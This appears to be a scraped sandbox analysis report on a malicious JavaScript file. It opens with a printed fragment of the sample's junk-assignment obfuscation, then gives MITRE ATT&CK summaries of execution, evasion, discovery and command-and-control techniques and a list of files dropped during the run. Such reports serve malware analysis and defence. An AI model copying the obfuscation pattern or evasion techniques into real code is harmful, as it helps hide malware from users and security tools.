1317	wkggtrj = "i";
1318	wkggtrj = "r";
1319	wkggtrj = "H";
1320	wkggtrj = "Y";
1321	wkggtrj = "k";
1322	wkggtrj = "L";
1323	wkggtrj = "p";
1324	hjwgmhhq = "y";
1325	hjwgmhhq = "R";
1326	hjwgmhhq = "H";
1327	hjwgmhhq = "i";
1328	hjwgmhhq = "V";
1329	hjwgmhhq = "B";
1330	hjwgmhhq = "i";
1331	hjwgmhhq = "C";
1332	hjwgmhhq = "h";
1333	hjwgmhhq = "f";
1334	hjwgmhhq = "c";
1335	hjwgmhhq = "F";
1336	hjwgmhhq = "u";
1337	hjwgmhhq = "6";
1338	mjsyk = "F";
1339	mjsyk = "f";
1340	mjsyk = "Q";
1341	mjsyk = "C";
1342	mjsyk = "P";
1343	mjsyk = "k";
1344	mjsyk = "B";
1345	mjsyk = "F";
1346	yqcya = "w";
1347	yqcya = "W";
1348	yqcya = "a";
1349	yqcya = "o";
1350	yqcya = "o";
1351	yqcya = "S";
1352	yqcya = "v";
1353	yqcya = "s";
1354	yqcya = "P";
1355	yqcya = "x";
1356	yqcya = "q";
1357	yqcya = "3";
1358	umpbghx = "F";
1359	umpbghx = "L";
1360	umpbghx = "Q";
1361	umpbghx = "x";
1362	umpbghx = "f";
1363	umpbghx = "m";
1364	umpbghx = "t";
1365	umpbghx = "B";
1366	umpbghx = "V";
1367	umpbghx = "v";
1368	umpbghx = "Q";
1369	umpbghx = "e";
1370	umpbghx = "U";
1371	umpbghx = "F";
1372	umpbghx = "A";
1373	umpbghx = "N";
1374	umpbghx = "k";
1375	umpbghx = "c";
1376	umpbghx = "Y";
1377	umpbghx = "c";
1378	umpbghx = "V";
1379	umpbghx = "D";
1380	umpbghx = "J";
1381	umpbghx = "L";
1382	umpbghx = "t";
1383	umpbghx = "V";
1384	umpbghx = "h";
1385	umpbghx = "H";
1386	umpbghx = "Y";
1387	umpbghx = "w";
1388	umpbghx = "O";
1389	umpbghx = "t";
1390	umpbghx = "G";
1391	umpbghx = "h";
1392	umpbghx = "V";
1393	umpbghx = "d";
1394	umpbghx = "A";
1395	umpbghx = "U";
1396	umpbghx = "u";
1397	umpbghx = "k";
1398	fkfvsmu = "s";
1399	fkfvsmu = "J";
1400	fkfvsmu = "I";
1401	fkfvsmu = "D";
1402	fkfvsmu = "N";
1403	fkfvsmu = "F";
1404	fkfvsmu = "x";
1405	fkfvsmu = "T";
1406	fkfvsmu = "s";
1407	fkfvsmu = "z";
1408	fkfvsmu = "a";
1409	ipkbrjmlj ( );	ipkbrjmlj() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 20512268371239412475.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\66468761-2097-46c7-9991-0d4b0d884597.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF70e8e8.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\a7e56b3f-ed74-4fab-94f2-5b683dd92bd6.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Windows Analysis Report
20512268371239412475.js